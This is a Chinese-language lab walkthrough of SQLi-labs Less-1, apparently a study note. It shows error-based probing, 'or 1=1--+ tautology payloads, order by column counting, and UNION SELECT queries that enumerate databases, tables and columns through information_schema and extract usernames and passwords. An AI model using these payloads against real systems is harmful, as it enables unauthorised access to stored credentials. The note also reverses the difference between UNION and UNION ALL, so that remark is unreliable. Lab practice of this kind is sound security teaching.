Less-1
我們可以在http://127.0.0.1/sqllib/Less-5/?id=1后面直接添加一個 ' ,來看一下效果:
從上述錯誤當中,我們可以看到提交到sql中的1'在經過sql語句構造后形成 '1'' LIMIT 0,1,多加了一個 ' 。這種方式就是從錯誤信息中得到我們所需要的信息,那我們接下來想如何將多余的 ' 去掉呢?
嘗試 'or 1=1--+
此時構造的sql語句就成了
Select ****** where id='1'or 1=1--+' LIMIT 0,1
可以看到正常返回數據。
此處可以利用order by。Order by 對前面的數據進行排序,這里有三列數據,我們就只能用order by 3,超過3就會報錯。
'order by 4--+的結果顯示結果超出。
最后從源代碼中分析下為什么會造成注入?
Sql語句為$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Id參數在拼接sql語句時,未對id進行任何的過濾等操作,所以當提交 'or 1=1--+,直接構造的sql語句就是
SELECT * FROM users WHERE id='1'or 1=1--+ LIMIT 0,1
這條語句因or 1=1 所以為永恆真。
此外,此處介紹union聯合注入,union的作用是將兩個sql語句進行聯合。Union可以從下面的例子中可以看出,強調一點:union前后的兩個sql語句的選擇列數要相同才可以。Union all與union 的區別是增加了去重的功能。我們這里根據上述background的知識,進行information_schema 知識的應用。
http://127.0.0.1/sqllib/Less-1/?id=-1'union select 1,2--+
當id的數據在數據庫中不存在時,(此時我們可以id=-1,兩個sql語句進行聯合操作時,當前一個語句選擇的內容為空,我們這里就將后面的語句的內容顯示出來)此處前台頁面返回了我們構造的union 的數據。
爆數據庫
此時的sql語句為SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
爆security數據庫的數據表
此時的sql語句為SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1
爆users表的列
此時的sql語句為SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1
爆數據
此時的sql語句為SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=2--+ LIMIT 0,1
Less1-less4都可以利用上述union操作進行注入。下面就不進行贅述了。
